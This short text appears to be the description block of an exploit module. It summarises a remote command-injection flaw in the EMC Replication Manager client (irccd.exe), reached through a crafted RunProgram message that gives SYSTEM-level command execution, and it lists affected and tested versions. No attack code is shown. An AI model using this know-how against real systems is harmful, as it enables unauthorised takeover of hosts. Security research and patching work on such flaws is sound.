        This module exploits a remote command-injection vulnerability in EMC Replication Manager
        client (irccd.exe). By sending a specially crafted message invoking RunProgram function an
        attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected
        products are EMC Replication Manager < 5.3. This module has been successfully tested
        against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft
        Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested
        against these products.
